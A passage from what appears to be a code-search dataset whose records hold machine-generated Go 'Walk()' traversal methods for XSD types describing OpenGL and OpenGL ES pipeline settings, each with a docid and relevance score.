"5b3499cec7df54343397a30ddc6f0c5d", "score": "0.600181", "text": "func (me *XsdGoPkgHasElem_textureRECT_enablechoicegl_pipeline_settingsschema_TextureRECTEnable_TxsdGlPipelineSettingsChoiceTextureRECTEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_textureRECT_enablechoicegl_pipeline_settingsschema_TextureRECTEnable_TxsdGlPipelineSettingsChoiceTextureRECTEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.TextureRECTEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "7520e344fac943adcd4e64eef5266fac", "score": "0.5991692", "text": "func (me *XsdGoPkgHasElem_light_model_two_side_enablechoicegles_pipeline_settingsschema_LightModelTwoSideEnable_TxsdGlesPipelineSettingsChoiceLightModelTwoSideEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_light_model_two_side_enablechoicegles_pipeline_settingsschema_LightModelTwoSideEnable_TxsdGlesPipelineSettingsChoiceLightModelTwoSideEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.LightModelTwoSideEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "15e2e761f61a8b29d1569776a14a11c4", "score": "0.5982923", "text": "func (me *XsdGoPkgHasElem_line_smooth_enablechoicegles_pipeline_settingsschema_LineSmoothEnable_TxsdGlesPipelineSettingsChoiceLineSmoothEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_line_smooth_enablechoicegles_pipeline_settingsschema_LineSmoothEnable_TxsdGlesPipelineSettingsChoiceLineSmoothEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.LineSmoothEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "61673bfc123a5663142f9aefd34bc3ad", "score": "0.59828544", "text": "func (me *XsdGoPkgHasElem_rescale_normal_enablechoicegles_pipeline_settingsschema_RescaleNormalEnable_TxsdGlesPipelineSettingsChoiceRescaleNormalEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_rescale_normal_enablechoicegles_pipeline_settingsschema_RescaleNormalEnable_TxsdGlesPipelineSettingsChoiceRescaleNormalEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.RescaleNormalEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "11a9cc6d6455e964e034a2ae9233aca9", "score": "0.5918741", "text": "func (me *XsdGoPkgHasElem_textureDEPTH_enablechoicegl_pipeline_settingsschema_TextureDEPTHEnable_TxsdGlPipelineSettingsChoiceTextureDEPTHEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_textureDEPTH_enablechoicegl_pipeline_settingsschema_TextureDEPTHEnable_TxsdGlPipelineSettingsChoiceTextureDEPTHEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.TextureDEPTHEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "19ffc96fa413493a9cb91194cbea1c20", "score": "0.5848132", "text": "func (me *XsdGoPkgHasElem_depth_clamp_enablechoicegl_pipeline_settingsschema_DepthClampEnable_TxsdGlPipelineSettingsChoiceDepthClampEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_depth_clamp_enablechoicegl_pipeline_settingsschema_DepthClampEnable_TxsdGlPipelineSettingsChoiceDepthClampEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.DepthClampEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "3e3dda7f180c26883189b288f535fe60", "score": "0.58442116", "text": "func (me *XsdGoPkgHasElem_fog_enablechoicegles_pipeline_settingsschema_FogEnable_TxsdGlesPipelineSettingsChoiceFogEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_fog_enablechoicegles_pipeline_settingsschema_FogEnable_TxsdGlesPipelineSettingsChoiceFogEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.FogEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "f49d702e97f2c9eac624bdd6fa2f91b2", "score": "0.5828026", "text": "func (me *XsdGoPkgHasElem_polygon_smooth_enablechoicegl_pipeline_settingsschema_PolygonSmoothEnable_TxsdGlPipelineSettingsChoicePolygonSmoothEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_polygon_smooth_enablechoicegl_pipeline_settingsschema_PolygonSmoothEnable_TxsdGlPipelineSettingsChoicePolygonSmoothEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.PolygonSmoothEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "264259aee110f0c41532eb5c51e91ea5", "score": "0.5824581", "text": "func (me *XsdGoPkgHasElem_fog_enablechoicegl_pipeline_settingsschema_FogEnable_TxsdGlPipelineSettingsChoiceFogEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_fog_enablechoicegl_pipeline_settingsschema_FogEnable_TxsdGlPipelineSettingsChoiceFogEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.FogEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "cbd785cc0e20d97fe3d548b0137fa71f", "score": "0.58169955", "text": "func (me *XsdGoPkgHasElem_line_smooth_enablechoicegl_pipeline_settingsschema_LineSmoothEnable_TxsdGlPipelineSettingsChoiceLineSmoothEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_line_smooth_enablechoicegl_pipeline_settingsschema_LineSmoothEnable_TxsdGlPipelineSettingsChoiceLineSmoothEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.LineSmoothEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "a030d9d44ad572673daa2bab3e13ec1a", "score": "0.5809003", "text": "func (me *TxsdGlesPipelineSettingsChoiceTexturePipelineEnable) Walk() (err error) {\r\n\tif fn := WalkHandlers.TxsdGlesPipelineSettingsChoiceTexturePipelineEnable; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "bb0a847181c29862549289a6969c00e8", "score": "0.57531416", "text": "func (me *TxsdGlesPipelineSettingsChoiceClipPlaneEnable) Walk() (err error) {\r\n\tif fn := WalkHandlers.TxsdGlesPipelineSettingsChoiceClipPlaneEnable; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "8756dc0473f7b176290f94456c501611", "score": "0.5719694", "text": "func (me *XsdGoPkgHasElem_polygon_offset_point_enablechoicegl_pipeline_settingsschema_PolygonOffsetPointEnable_TxsdGlPipelineSettingsChoicePolygonOffsetPointEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_polygon_offset_point_enablechoicegl_pipeline_settingsschema_PolygonOffsetPointEnable_TxsdGlPipelineSettingsChoicePolygonOffsetPointEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.PolygonOffsetPointEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "9891d462282f584e569e4d978d6b38a1", "score": "0.5652889", "text": "func (me *TxsdGlPipelineSettingsChoiceClipPlaneEnable) Walk() (err error) {\r\n\tif fn := WalkHandlers.TxsdGlPipelineSettingsChoiceClipPlaneEnable; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "d69163a4fd4b710580867bd4e94c7eb9", "score": "0.5640861", "text": "func (me *XsdGoPkgHasElem_polygon_offset_line_enablechoicegl_pipeline_settingsschema_PolygonOffsetLineEnable_TxsdGlPipelineSettingsChoicePolygonOffsetLineEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_polygon_offset_line_enablechoicegl_pipeline_settingsschema_PolygonOffsetLineEnable_TxsdGlPipelineSettingsChoicePolygonOffsetLineEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.PolygonOffsetLineEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "063641b564c5132b12a9bae227379cd8", "score": "0.56162417", "text": "func (me *XsdGoPkgHasElem_polygon_offset_fill_enablechoicegles_pipeline_settingsschema_PolygonOffsetFillEnable_TxsdGlesPipelineSettingsChoicePolygonOffsetFillEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_polygon_offset_fill_enablechoicegles_pipeline_settingsschema_PolygonOffsetFillEnable_TxsdGlesPipelineSettingsChoicePolygonOffsetFillEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.PolygonOffsetFillEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "146830257b529ba09301b07a26dee7aa", "score": "0.56087846", "text": "func (me *XsdGoPkgHasElem_polygon_offset_fill_enablechoicegl_pipeline_settingsschema_PolygonOffsetFillEnable_TxsdGlPipelineSettingsChoicePolygonOffsetFillEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_polygon_offset_fill_enablechoicegl_pipeline_settingsschema_PolygonOffsetFillEnable_TxsdGlPipelineSettingsChoicePolygonOffsetFillEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.PolygonOffsetFillEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "2c1f432cf971bc88788b8202973f0ccc", "score": "0.5534747", "text": "func (me *XsdGoPkgHasElem_light_model_local_viewer_enablechoicegl_pipeline_settingsschema_LightModelLocalViewerEnable_TxsdGlPipelineSettingsChoiceLightModelLocalViewerEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_light_model_local_viewer_enablechoicegl_pipeline_settingsschema_LightModelLocalViewerEnable_TxsdGlPipelineSettingsChoiceLightModelLocalViewerEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.LightModelLocalViewerEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "ca42008e2b0ae8034789cb69631484c7", "score": "0.546771", "text": "func (me *XsdGoPkgHasElem_texture1D_enablechoicegl_pipeline_settingsschema_Texture1DEnable_TxsdGlPipelineSettingsChoiceTexture1DEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_texture1D_enablechoicegl_pipeline_settingsschema_Texture1DEnable_TxsdGlPipelineSettingsChoiceTexture1DEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.Texture1DEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "8d942ea97b7a44dcc8d9d5ae2a2a7943", "score": "0.54451406", "text": "func (me *XsdGoPkgHasElem_clip_planechoicegles_pipeline_settingsschema_ClipPlane_TxsdGlesPipelineSettingsChoiceClipPlane_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_clip_planechoicegles_pipeline_settingsschema_ClipPlane_TxsdGlesPipelineSettingsChoiceClipPlane_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.ClipPlane.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "846b937fdcabe46f209c2f21879d8ce1", "score": "0.53896844", "text": "func (me *XsdGoPkgHasElem_clip_planechoicegl_pipeline_settingsschema_ClipPlane_TxsdGlPipelineSettingsChoiceClipPlane_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_clip_planechoicegl_pipeline_settingsschema_ClipPlane_TxsdGlPipelineSettingsChoiceClipPlane_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.ClipPlane.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "0aba5e35d5305760b65c1afa14f8d40f", "score": "0.538938", "text": "func (me *XsdGoPkgHasGroup_GlPipelineSettings) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasGroup_GlPipelineSettings; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_model_two_side_enablechoicegl_pipeline_settingsschema_LightModelTwoSideEnable_TxsdGlPipelineSettingsChoiceLightModelTwoSideEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_constant_attenuationchoicegl_pipeline_settingsschema_LightConstantAttenuation_TxsdGlPipelineSettingsChoiceLightConstantAttenuation_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_textureCUBE_enablechoicegl_pipeline_settingsschema_TextureCUBEEnable_TxsdGlPipelineSettingsChoiceTextureCUBEEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_stencil_maskchoicegl_pipeline_settingsschema_StencilMask_TxsdGlPipelineSettingsChoiceStencilMask_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_polygon_stipple_enablechoicegl_pipeline_settingsschema_PolygonStippleEnable_TxsdGlPipelineSettingsChoicePolygonStippleEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_sample_alpha_to_one_enablechoicegl_pipeline_settingsschema_SampleAlphaToOneEnable_TxsdGlPipelineSettingsChoiceSampleAlphaToOneEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_shade_modelchoicegl_pipeline_settingsschema_ShadeModel_TxsdGlPipelineSettingsChoiceShadeModel_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_spot_cutoffchoicegl_pipeline_settingsschema_LightSpotCutoff_TxsdGlPipelineSettingsChoiceLightSpotCutoff_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_specularchoicegl_pipeline_settingsschema_LightSpecular_TxsdGlPipelineSettingsChoiceLightSpecular_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_model_color_controlchoicegl_pipeline_settingsschema_LightModelColorControl_TxsdGlPipelineSettingsChoiceLightModelColorControl_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_texture_env_modechoicegl_pipeline_settingsschema_TextureEnvMode_TxsdGlPipelineSettingsChoiceTextureEnvMode_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_stencil_funcchoicegl_pipeline_settingsschema_StencilFunc_TxsdGlPipelineSettingsChoiceStencilFunc_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_blend_equationchoicegl_pipeline_settingsschema_BlendEquation_TxsdGlPipelineSettingsChoiceBlendEquation_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_stencil_func_separatechoicegl_pipeline_settingsschema_StencilFuncSeparate_TxsdGlPipelineSettingsChoiceStencilFuncSeparate_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_material_shininesschoicegl_pipeline_settingsschema_MaterialShininess_TxsdGlPipelineSettingsChoiceMaterialShininess_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_depth_test_enablechoicegl_pipeline_settingsschema_DepthTestEnable_TxsdGlPipelineSettingsChoiceDepthTestEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_blend_colorchoicegl_pipeline_settingsschema_BlendColor_TxsdGlPipelineSettingsChoiceBlendColor_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_polygon_modechoicegl_pipeline_settingsschema_PolygonMode_TxsdGlPipelineSettingsChoicePolygonMode_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_spot_directionchoicegl_pipeline_settingsschema_LightSpotDirection_TxsdGlPipelineSettingsChoiceLightSpotDirection_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_multisample_enablechoicegl_pipeline_settingsschema_MultisampleEnable_TxsdGlPipelineSettingsChoiceMultisampleEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_color_materialchoicegl_pipeline_settingsschema_ColorMaterial_TxsdGlPipelineSettingsChoiceColorMaterial_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = 